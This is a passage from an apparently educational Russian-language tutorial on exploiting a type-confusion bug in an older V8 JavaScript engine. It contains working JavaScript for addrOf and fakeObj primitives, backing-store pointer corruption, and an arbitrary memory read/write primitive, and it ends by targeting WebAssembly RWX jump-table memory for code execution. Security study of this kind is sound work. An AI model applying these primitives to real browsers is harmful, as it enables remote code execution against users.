Чтобы достичь чего-то полезного на основе наших примитивов чтения и записи, нам нужно перезаписать внутреннее поле объекта, например, указатель хранилища, а не сам объект или свойство в хранилище. Как вы знаете, указатель хранилища содержит адрес памяти, сообщающий V8, где расположено наше свойство или массив элементов. Если мы сможем перезаписать этот указатель, то сможем при помощи бага приказывать V8 получать доступ к конкретным элементам в памяти!

Далее для реализации этого эксплойта нам нужно решить, какой тип объекта мы хотим использовать при повреждении указателя хранилища. Разумеется, мы можем использовать простой объект с внешними свойствами, однако в нашем случае, да и в случае большинства эксплойтов браузеров, используется объект ArrayBuffer.

Мы используем ArrayBuffer вместо обычного объекта потому, что эти буферы массива используются для описания буфера сырых двоичных данных фиксированного размера. Здесь важно отметить, что мы не можем напрямую манипулировать содержимым ArrayBuffer через JavaScript. Поэтому необходимо использовать объект TypedArray или DataView с определённым форматом представления данных для чтения и записи содержимого буфера.

Ранее мы использовали TypedArray в примитиве addrOf для возврата адреса объекта в виде double с плавающей запятой, а затем преобразовывали его в беззнаковый 64-битный integer, что позволило нам преобразовать это значение в шестнадцатеричный вид, чтобы узнать реальный адрес. Мы можем применить тот же принцип к примитиву fakeObj, указав тип данных, с которым хотим работать, например, integer, floats, 64-битные integer и так далее. Благодаря этому мы сможем с лёгкостью считывать и записывать данные любого нужного нам типа, не особо беспокоясь о преобразованиях или типе значений, которые имеют свойства.

Прежде чем двигаться дальше, давайте посмотрим, как объекты ArrayBuffer выглядят в памяти, чтобы лучше понять, как их эксплойтить.

Для начала создадим новый ArrayBuffer, имеющий длину 8 байтов, а затем присвоим этому буферу беззнаковую 8-битную view.

d8> var buffer = new ArrayBuffer(8)
d8> var view = new Uint8Array(buffer)

Теперь используем команду %DebugPrint для изучения объекта буфера.

d8> %DebugPrint(buffer)
DebugPrint: 000002297C70D881: [JSArrayBuffer]
 - map: 0x03b586384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x032f41990b21 <Object map = 000003B5863843C1>
 - elements: 0x01d0a7902cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 00000286692101A0
 - byte_length: 8
 - neuterable
 - properties: 0x01d0a7902cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

Как видите, объект ArrayBuffer похож на другие объекты V8: у него есть Map, свойства, фиксированный массив элементов, а также необходимые свойства самого буфера массива, например, длина в байтах и его хранилище. Хранилище — это адрес, по которому TypedArray (в нашем случае переменная view) считывает и записывает данные.

Мы можем убедиться в связи между ArrayBuffer и TypedArray, использовав функцию %DebugPrint с переменной view.

d8> %DebugPrint(view)
DebugPrint: 000002297C70F791: [JSTypedArray]
 - map: 0x03b586382b11 <Map(UINT8_ELEMENTS)> [FastProperties]
 - prototype: 0x032f419879e1 <Object map = 000003B586382B61>
 - elements: 0x02297c70f7d9 <FixedUint8Array[8]> [UINT8_ELEMENTS]
 - embedder fields: 2
 - buffer: 0x02297c70d881 <ArrayBuffer map = 000003B586384371>
 - byte_offset: 0
 - byte_length: 8
 - length: 8
 - properties: 0x01d0a7902cf1 <FixedArray[0]> {}
 - elements: 0x02297c70f7d9 <FixedUint8Array[8]> {
         0-7: 0
 }
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

Как видите, TypedArray имеет свойство buffer, указывающее на ArrayBuffer по адресу 0x02297c70d881. TypedArray также наследует свойство длинны в байтах от родительского ArrayBuffer, чтобы знать, сколько данных он может читать и записывать с его конкретным форматом данных.

Чтобы лучше разобраться в структуре и хранилище объекта буфера массива, можно воспользоваться WinDbg.

0:005> dq 000002297C70D881-1 L6
00000229`7c70d880  000003b5`86384371 000001d0`a7902cf1
00000229`7c70d890  000001d0`a7902cf1 00000000`00000008
00000229`7c70d8a0  00000286`692101a0 00000000`00000002

Мы видим, что в левом верхнем углу находятся Map, свойства и указатели хранилища свойств массива элементов. За ними следует длина в байтах, после чего указатель хранилища адреса 00000286692101A0, который находится по смещению 32 от начала буфера массива.

Прежде чем изучать буфер хранилища, добавим данные в буфер, чтобы лучше понимать представление в памяти. Чтобы записать данные в ArrayBuffer, нужно использовать TypedArray при помощи переменной view.

d8> view[0] = 65
d8> view[2] = 66

Теперь просмотрим это хранилище в WinDbg. Стоит отметить, что я не вычитаю 1 из указателя, поскольку в отличие от хранилищ других объектов хранилище ArrayBuffer является 64-битным указателем!

0:005> dq 00000286692101A0 L6
00000286`692101a0  00000000`00420041 dddddddd`fdfdfdfd
00000286`692101b0  00000000`dddddddd 8c003200`1f678a43
00000286`692101c0  00000286`69d34e50 00000286`69d40230

Изучив этот адрес памяти, мы заметим, что в левой верхней части находятся 8 байтов данных, которые мы распределили для буфера массива. Справа, по индексу 0 находится 0x41, то есть 65, а по индексу 2 находится 0x42, то есть 66.

Как видите, использование ArrayBuffer с TypedArray любого типа данных позволяет нам контролировать то, где мы можем читать и записывать данные, если у нас есть контроль над указателем хранилища!

Помня об этом, давайте разберёмся, как получить доступ к этому указателю хранилища при помощи примитива fakeObj, чтобы перезаписать его. Пока для примитивов чтения и записи мы создавали объект для p1 с одним внутренним свойством и объект для p2, тоже имевший одно внутреннее свойство.

function fakeObj() {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      let orig = obj.p${p1}.x;
      // Перезаписываем свойство x в p1, но из-за type confusion
      // перезаписывается свойство y в p2
      obj.p${p1}.x = 0x41414141n;
      return orig;
    }
  `);

    let obj = {z: 1234};
    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj}
	...

В функции vuln мы пытаемся перезаписать свойство x объекта p1. Это разыменует адрес объекта для p1 и выполнит доступ по смещению 24, где внутренним образом хранится значение свойства x. Однако из-за type confusion эта операция на самом деле разыменует адрес объекта p2 и выполнит доступ по смещению 24, где внутренним образом хранится свойство y, что позволит нам перезаписать адрес объекта obj.

В примере ниже показано, как это будет выглядеть в памяти.


Мы знаем, что указатель хранилища для буфера массива находится по смещению 32, то есть если мы создадим ещё одно внутреннее свойство, например, x2, то сможем получить доступ к указателю хранилища и перезаписать его при помощи примитива fakeObj!

В примере ниже показано, как этот процесс выглядит в памяти.


Это замечательно! Ведь это позволяет нам, наконец, использовать баг и примитивы для получения доступа с целью чтения/записи произвольной памяти. Однако есть одна небольшая проблема. Рассмотрим ситуацию: если нам нужно выполнять запись или чтение из нескольких участков памяти, то нам придётся постоянно выполнять баг и перезаписывать хранилище буфера массива при помощи примитива fakeObj, что утомительно. Поэтому нам нужно решение получше.

Чтобы минимизировать количество случаев, когда нам необходимо использовать примитив fakeObj для перезаписи хранилища, можно воспользоваться двумя объектами буфера массива вместо одного. Таким образом мы сможем повредить указатель хранилища первого буфера массива и сделать так, чтобы он указывал на адрес объекта второго буфера массива.

Сделав это, мы сможем использовать view TypedArray первого буфера массива для записи в четвёртый индекс, что перезапишет указатель хранилища второго буфера массива. Далее мы сможем использовать view TypedArray второго буфера массива для чтения и записи данных в указываемую область памяти!

Использовав эти два буфера массива вместе, мы можем создать ещё один примитив эксплойта, позволяющий быстро выполнять чтение и запись данных в любой тип и любое место в куче V8.

Ниже показан пример того, как это будет выглядеть в памяти.


Чтобы сделать функцию fakeObj более гибкой, мы изменим её так, чтобы она принимала любой выбранный нами объект. Также мы будем передавать ей параметр newValue, определяющий данные, которые мы хотим записать. Затем мы присвоим этому параметру newValue свойство x в функции vuln, чтобы не использовать жёстко прописанный адрес 0x41414141n.

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      let orig = obj.p${p1}.x;
      obj.p${p1}.x = $(newValue);
      return orig;
    }
  `);

    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};
	...

Также мы изменим объект в p1, чтобы он имел два внутренних свойства, поскольку мы знаем, что второе внутреннее свойство пересекается с указателем хранилища. Кроме того, нам нужно модифицировать функцию vuln, чтобы она получала доступ ко второму внутреннему свойств, и мы могли выполнять запись в указатель хранилища.

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Выполняем запись в указатель хранилища при помощи свойства x2
      let orig = obj.p${p1}.x2;
      obj.p${p1}.x2 = ${newValue};
      return orig;
    }
  `);

    let pValues = [];
    // Свойство x2 пересекается с указателем хранилища буфера массива
    let o = {x1: 13.37, x2: 13.38};
    pValues[p1] = o;
    pValues[p2] = obj;
	...

Обратите внимание, что для пересекающегося объекта p2 мы задали его непосредственно передаваемому obj. Мы сделали так, потому что нам нужно получать доступ к смещению 32 этого конкретного объекта, а не передавать объект как свойство.

Чтобы правильно преобразовать передаваемые адрес или данные, мы добавим новую функцию преобразования toNumber и будем вызывать её с параметром newValue. Эта функция необходима, поскольку нам нужно преобразовывать передаваемый адрес или данные так, чтобы они были float. Причина этого в созданной нами type confusion и в том, что p1 ожидает float.

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Выполняем запись в указатель хранилища при помощи свойства x2
      let orig = obj.p${p1}.x2;
      obj.p${p1}.x2 = ${newValue.toNumber()};
      return orig;
    }
  `);

    let pValues = [];
    // Свойство x2 пересекается с указателем хранилища буфера массива
    let o = {x1: 13.37, x2: 13.38};
    pValues[p1] = o;
    pValues[p2] = obj;
	...
}

А теперь важная часть: мы должны изменить цикл JIT, чтобы выполнить баг и перезаписать указатель хранилища. Как и в предыдущем цикле fakeObj, нам нужно внести лишь незначительные изменения.

Во-первых, обратите внимание, что мы присвоили свойство p1 только что созданному объекту o с двумя внутренними свойствами. Мы делаем это, потому что в цикле JIT нам понадобится постоянно задавать атрибут второго внутреннего свойства o, чтобы принуждать JIT-компилятор использовать устранение избыточности для Map. Это позволит нам получать доступ к указателю хранилища как к float. Если этого не сделать, то функция не заработает!

Во-вторых, в цикле JIT мы больше не будем сравнивать значение результата с 13.37. Вместо этого мы будем сравнивать его со значением второго свойства. В этом случае, если цикл больше не возвращает 13.38, это значит, что мы успешно выполнили баг и перезаписали указатель хранилища!

Окончательная версия примитива fakeObj будет выглядеть следующим образом:

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Выполняем запись в указатель хранилища при помощи свойства x2
      let orig = obj.p${p1}.x2;
      obj.p${p1}.x2 = ${newValue.toNumber()};
      return orig;
    }
  `);

    let pValues = [];
    // Свойство x2 пересекается с указателем хранилища буфера массива
    let o = {x1: 13.37,x2: 13.38};
    pValues[p1] = o;
    pValues[p2] = obj;

    for (let i = 0; i < 10000; i++) {
        // Принудительно вызываем Map Check и устранение избыточности
        o.x2 = 13.38;
        let res = vuln(makeObj(pValues));
        if (res != 13.38) {
            return res.toBigInt();
        }
    }
    throw "[!] fakeObj Primitive Failed"
}

Так как мы используем для примитива объект fakeObj с двумя внутренними свойствами, давайте внесём то же изменение в примитив addrOf для обеспечения согласованности.

function addrOf(obj) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Запускаем type confusion, выполняя доступ к свойству за границами
        // Это загрузит p1 из нашего объекта, думая, что это Double, но
        // вместо этого из-за пересечения это загрузит p2, которое является объектом
      return obj.p${p1}.x2;
    }
  `);

    let pValues = [];
    // Свойство x2 пересекается с указателем хранилища буфера массива
    pValues[p1] = {x1: 13.37,x2: 13.38};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            // Вычитаем 1n из адреса из-за маркировки указателей.
            return res.toBigInt() - 1n;
        }
    }
    throw "[!] AddrOf Primitive Failed"
}

Модифицировав скрипт эксплойта, мы сможем перезаписывать указатель хранилища буфера массива. Давайте протестируем это!

Для начала нужно изменить код эксплойта, создав новый буфер массива с 1024 байтами данных. Затем мы попытаемся обеспечить утечку адреса буфера массива и перезаписать указатель хранилища значением 0x41414141.

Обратите внимание, что я добавил две функции %DebugPrint, чтобы убедиться, что адреса, утечку которых мы выполняем, совпадают с нашим объектом буфера массива, и что мы успешно перезаписали указатель хранилища буфера массива.

Новый код в конце скрипта должен выглядеть примерно как мой:

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Создаём буфер массива
let arrBuf1 = new ArrayBuffer(1024);

print("[+] Leaking ArrayBuffer Address...");
let arrBuf1fAddr = addrOf(arrBuf1);
print(`[+] ArrayBuffer Address: 0x${arrBuf1fAddr.toString(16)}`);
%DebugPrint(arrBuf1)

print("[+] Corrupting ArrayBuffer Backing Store Address...")
// Перезаписываем указатель хранилища значением 0x41414141
let ret = fakeObj(arrBuf1, 0x41414141n);
print(`[+] Original Leaked Data: 0x${ret.toString(16)}`);
%DebugPrint(arrBuf1)

После исполнения обновлённого скрипта эксплойта в d8 мы получим следующий вывод:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p15 and p11 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x2a164919360
DebugPrint: 000002A164919361: [JSArrayBuffer] in OldSpace
 - map: 0x00f4b4a84371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0143f1990b21 <Object map = 000000F4B4A843C1>
 - elements: 0x029264b02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 000001AEDA203210
 - byte_length: 1024
 - neuterable
 - properties: 0x029264b02cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }
...

[+] Corrupting ArrayBuffer Backing Store Address...
[+] Original Leaked Data: 0x1aeda203210
DebugPrint: 000002A164919361: [JSArrayBuffer] in OldSpace
 - map: 0x00f4b4a84371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0143f1990b21 <Object map = 000000F4B4A843C1>
 - elements: 0x029264b02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0000000041414141
 - byte_length: 1024
 - neuterable
 - properties: 0x029264b02cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }
...

Как видите, наш скрипт эксплойта позволяет успешно выполнять утечку адреса буфера массива, и мы убедились, что в отладочном выводе адреса совпадают. Также мы видим, что исходные утёкшие данные, или ret, возвращают исходный адрес хранилища. Кроме того, мы успешно перезаписали указатель хранилища значением 0x41414141, как показано в отладочном выводе!

Имея возможность перезаписи указателя хранилища, мы можем двигаться дальше и продолжить писать эксплойт, создавая примитив чтения/записи памяти при помощи двух буферов массива. Напомню, что нам нужно создать два буфера массива, обеспечить утечку адреса второго буфера массива и перезаписать указатель хранилища первого буфера адресом второго буфера.

Выполняющий эту задачу код показан ниже.

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Создаём буферы массива
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Выполняем утечку адреса arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2fAddr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2fAddr.toString(16)}`);

// Повреждаем указатель хранилища arrBuf1 при помощи адреса arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2fAddr);

Сделав это, мы сможем перезаписывать указатель хранилища arrBuf1 так, чтобы он указывал на объект arrBuf2. Для этого можно создать TypedArray для первого буфера массива и считывать указатель хранилища, используя беззнаковый 64-битный integer при помощи BigUint64Array. Это должно дать нам байтовое представление адреса второго буфера массива.

Дополненный код будет выглядеть так:

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Создаём буферы массива
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Выполняем утечку адреса arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2Addr.toString(16)}`);

// Повреждаем указатель хранилища arrBuf1 при помощи адреса arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Убеждаемся в перезаписи хранилища при помощи TypedArray
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]
print(`[+] ArrayBuffer Backing Store: 0x${originalArrBuf2BackingStore.toString(16)}`);
%DebugPrint(arrBuf2)

Как видите, в конце скрипта для подтверждения перезаписи мы используем %DebugPrint с объектом arrBuf2, убеждаясь в том, что у нас есть правильный адрес хранилища.

Исполнив этот код, мы получим следующий вывод:

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p15 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x7393e19360
[+] Corrupting ArrayBuffer Backing Store Address...
[+] ArrayBuffer Backing Store: 0x15b14db9f20
DebugPrint: 0000007393E19361: [JSArrayBuffer] in OldSpace
 - map: 0x00f8c4384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0075a6d10b21 <Object map = 000000F8C43843C1>
 - elements: 0x00f30a102cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0000015B14DB9F20
 - byte_length: 1024
 - neuterable
 - properties: 0x00f30a102cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

Сработало! Как видно из вывода, мы успешно смогли выполнить утечку адреса второго буфера массива и считать его указатель хранилища, и они при этом совпадают. Далее мы можем продолжить создавать примитивы чтения и записи памяти при помощи буферов массива.

Так как все адреса внутри V8 являются 32-битными, мы воспользуемся массивом беззнакового 64-битного типа integer. Ниже представлен пример примитива чтения и записи, созданный из показанного выше примера кода.

let memory = {
	read64(addr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		return view2[0];
	},
	write64(addr, ptr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		view2[0] = ptr;
	}
};

Для тестирования его работоспособности попробуем использовать примитив памяти write64, чтобы записать значение 0x41414141n в хранилище второго буфера массива. Код будет выглядеть вот так:

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Создаём буферы массива
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Выполняем утечку адреса arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2Addr.toString(16)}`);

// Повреждаем указатель хранилища arrBuf1 при помощи адреса arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Сохраняем исходный указатель хранилища arrBuf2
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]

// Создаём примитив чтения и записи памяти
let memory = {
	read64(addr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		return view2[0];
	},
	write64(addr, ptr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		view2[0] = ptr;
	}
};
print("[+] Constructed Memory Read and Write Primitive!");

// Записываем данные во второй буфер массива
memory.write64(originalArrBuf2BackingStore, 0x41414141n);
%DebugPrint(arrBuf2);

Далее мы снова можем использовать WinDbg для отладки этого кода, установив точку останова на RUNTIME_FUNCTION(Runtime_DebugPrint) и исполнив скрипт. Дойдя до точки останова, введём g или нажмём на Go, а затем нажмём Shift + F11 или «Step Over», чтобы просмотреть в консоли отладочный вывод.

[+] Finding Overlapping Properties...
[+] Properties p15 and p22 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x39532f0db50
[+] Corrupting ArrayBuffer Backing Store Address...
[+] Constructed Memory Read and Write Primitive!
DebugPrint: 0000039532F0DB51: [JSArrayBuffer] in OldSpace
 - map: 0x03a3a6384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x02ac8fd10b21 <Object map = 000003A3A63843C1>
 - elements: 0x009c20b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 000002791B474430
 - byte_length: 1024
 - neuterable
 - properties: 0x009c20b82cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

Как видите, указатель хранилища находится по адресу 0x000002791B474430. Просмотрим этот адрес при помощи WinDbg и убедимся, что действительно выполнили запись в этот буфер.

0:000> dq 000002791B474430 L6
00000279`1b474430  00000000`41414141 00000000`00000000
00000279`1b474440  00000000`00000000 00000000`00000000
00000279`1b474450  00000000`00000000 00000000`00000000

Вот и всё! Мы успешно создали примитив чтения/записи памяти и теперь можем записывать данные в любое место кучи V8. Разобравшись с этим, мы можем переходить к следующему этапу эксплойта — получению возможности удалённого исполнения кода!

Получаем возможность исполнения кода


Создав примитивы памяти, мы должны найти способ заставить V8 исполнять наш код. К сожалению, мы не можем просто записать или внедрить шеллкод в произвольные области кучи V8 или в буфер массива, поскольку включён NX.

В этом можно убедиться, выполнив функцию WinDbg vprot с указателем хранилища буфера массива.

0:000> !vprot 000002791B474430
BaseAddress:       000002791b474000
AllocationBase:    000002791b390000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        000000000001b000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

Как видите, у нас есть только доступ на чтение и запись этих страниц, но нет разрешений на исполнение.

Так как мы не можем исполнять наш код на этих страницах памяти, нужно найти другое решение.

Потенциальное решение — нацелиться на страницы памяти JIT. JIT-компиляция кода на JavaScript требует от компилятора записывать команды на страницу памяти, чтобы позже их можно было исполнить. Так как это происходит согласованно с исполнением кода, эти страницы обычно имеют разрешения RWX. Это может быть хорошей целью для наших примитивов чтения/записи памяти: мы можем попробовать выполнить утечку указателя из скомпилированной JIT функции JavaScript, записать свой шеллкод по этому адресу, а затем вызвать функцию для исполнения нашего кода.

Однако в начале 2018 года команда разработчиков V8 добавила защиту под названием write_protect_code_memory, которая переключает разрешения страницы памяти JIT для JavaScript между чтением/исполнением и чтением/записью. В результате эти страницы во время исполнения JavaScript помечаются как для чтения/исполнения, что не позволит нам записывать в них свой код.

Один из способов обхода этой защиты заключается в использовании Return Oriented Programming (ROP). Благодаря ROP мы можем эксплойтить vtable (которые хранят адреса виртуальных функций) и указатели функций JIT или даже повреждать стек.

Примеры того, как можно использовать ROP-гаджеты для эксплойтинга vtable, есть в посте One Day Short of a Full Chain: Part 3 — Chrome Renderer RCE и в посте Коннора Макгарра Browser Exploitation on Windows.

Хотя ROP — эффективная техника для разработки эксплойтов, я живу с девизом «Работай с умом, а не до ночи» и не хочу делать много работы. К счастью для нас, JavaScript — не единственный язык, который компилирует V8, есть ещё и WebAssembly!

Основы внутреннего устройства WebAssembly


WebAssembly (также известный как wasm) — это низкоуровневый язык программирования, спроектированный для исполнения внутри браузера на стороне клиента; часто он используется для поддержки C/C++ и похожих языков.

Одно из преимуществ WebAssembly заключается в том, что он позволяет осуществлять коммуникации между модулями WebAssembly и контекстом JavaScript. Благодаря этому модули WebAssembly могут получать доступ к функциональности браузеров через те же Web API, которые доступны JavaScript.

Изначально движок V8 не компилирует WebAssembly. Функции wasm компилируются при помощи baseline-компилятора Liftoff. Liftoff один раз итеративно обходит код на WebAssembly и немедленно создаёт машинный код для каждой команды WebAssembly, аналогично тому, как SparkPlug преобразует байт-код Ignition в машинный код.

Так как wasm тоже компилируется JIT, его страницы памяти помечены разрешениями Read-Write-Execute. Существует соответствующий write-protect-flag для wasm, но по умолчанию он отключен из-за файла asm.js (причины этого объяснил Джонатан Норман). Это делает wasm ценным инструментом для разработки нашего эксплойта.

Прежде чем мы сможем использовать WebAssembly в своём эксплойте, нам нужно немного разобраться в его структуре и работе. Я не буду подробно рассматривать WebAssembly, потому что само по себе это может стать темой отдельного поста. Расскажу только о важных частях, которые нам необходимо знать. В WebAssembly скомпилированный блок кода называется «модулем». Затем эти модули порождаются для создания исполняемого объекта под названием «экземпляр». Экземпляр (instance) — это объект, содержащий все экспортированные функции WebAssembly, позволяющие вызывать код на WebAssembly из JavaScript.

В движке V8 эти объекты называются WasmModuleObject и WasmInstanceObject; их можно найти в файле исходников v8/src/wasm/wasm-objects.h.

WebAssembly — это формат двоичных команд, а его модуль схож с файлом Portable Executable (PE). Как и файл PE, модуль WebAssembly содержит разделы. В модуле WebAssembly есть примерно 11 стандартных разделов:

  1. Type
  2. Import
  3. Function
  4. Table
  5. Memory
  6. Global
  7. Export
  8. Start
  9. Element
  10. Code
  11. Data

Более подробно о каждом разделе объясняется в статье "Introduction to WebAssembly".

Нас интересует раздел table. Table в WebAssembly — это механизм сопоставления значений, которые нельзя представить в WebAssembly или к которым не может получить доступ WebAssembly, например, ссылок GC, сырых дескрипторов ОС или нативных указателей. Кроме того, каждая таблица имеет тип элемента, указывающий вид данных, которые она содержит.

В WebAssembly каждый экземпляр имеет одну выделенную «стандартную» table, индексируемую по операции call_indirect. Эта операция является командой, выполняющей вызов функции в стандартной table.

В 2018 году команда разработчиков V8 дополнила WebAssembly, добавив использование таблиц переходов для всех вызовов, чтобы реализовать ленивую компиляцию и более эффективные tier-up. В результате этого все вызовы функций WebAssembly в V8 вызывают слот в этой таблице переходов, которая затем выполняет переход к реальному скомпилированному коду (или заглушке WasmCompileLazy).

В V8 таблица переходов (также называемая таблицей кода) служит центральной точкой диспетчеризации для всех вызовов в WebAssembly (прямых и косвенных). Таблица переходов хранит по одному слоту на функцию в модуле, а каждый слот содержит переход к текущему публикуемому WasmCode, соответствующему ассоциированной функции. Подробнее о реализации таблицы переходов можно прочитать в файле исходников /src/wasm/jump-table-assembler.h.

При генерации кода WebAssembly компилятор делает его доступным системе, внося его в таблицу кода и выполняя патчинг таблицы переходов для конкретного экземпляра. Затем она возвращает сырой указатель на объект WasmCode. Так как этот код компилируется JIT, указатель указывает на раздел в памяти, имеющий разрешения RWX. Каждый раз при вызове соответствующей функции WasmCode движок V8 переходит по этому адресу и исполняет скомпилированный код.

Чтобы получить возможность удалённого исполнения кода, мы нацелимся на этот самый RWX-раздел памяти своими примитивами чтения/записи памяти.

Злонамеренное использование памяти WebAssembly


Теперь, когда мы лучше понимаем WebAssembly и знаем, что для удалённого исполнения кода нужно нацелиться на указатель таблицы переходов, давайте напишем код на wasm и изучим, как он выглядит в памяти, чтобы лучше понимать, как использовать его для нашего эксплойта.

Удобно писать код на wasm можно при помощи WasmFiddle, который позволит нам писать код на C и получать выводы буфера кода и код на JavaScript, который необходим для его исполнения. Воспользовавшись стандартным кодом, возвращающим 42, мы получим следующий код JavaScript.

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

Исполнив этот код в d8, мы можем использовать переменную %DebugPrint с переменной wasmInstance, которая будет объектом исполняемого модуля, содержащим экспорты наших функций. Как видите, в последней строке кода на wasm мы нацеливаем переменную func на основной экспорт экземпляра wasm, который будет указывать на наш исполняемый wasmCode.

Сделав это, мы получаем следующий вывод.

d8> %DebugPrint(wasmInstance)
DebugPrint: 0000032B465226A9: [WasmInstanceObject] in OldSpace
 - map: 0x02d1cc30ae51 <Map(HOLEY_ELEMENTS)>
 - module_object: 0x0135bd78e159 <Module map = 000002D1CC30A8B1>
 - exports_object: 0x0135bd78e341 <Object map = 000002D1CC30C3E1>
 - native_context: 0x032b465039f9 <NativeContext[248]>
 - memory_object: 0x032b465227a9 <Memory map = 000002D1CC30B851>
 - imported_function_instances: 0x00bca7c82cf1 <FixedArray[0]>
 - imported_function_callables: 0x00bca7c82cf1 <FixedArray[0]>
 - managed_native_allocations: 0x0135bd78e2d1 <Foreign>
 - memory_start: 00000273516A0000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 00000272D08C73D0
 - globals_start: 0000000000000000
 - imported_mutable_globals: 00000272D08C7410
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: 0000000000000000
 - indirect_function_table_targets: 0000000000000000
...

Проанализировав вывод, мы видим, что в нём отсутствует ссылка на таблицу переходов. Однако если взглянуть на код V8 для WasmInstanceObject, то мы увидим, что в нём есть ссылка на доступ к запись jump_table_start для нашей функции. Эта запись должна указывать на RWX-область памяти, где хранится машинный код.

В V8 это смещение до этой записи jump_table_start, но между версиями V8 она регулярно меняется. Следовательно, нам нужно вручную определять, где этот адрес хранится внутри WasmInstanceObject.

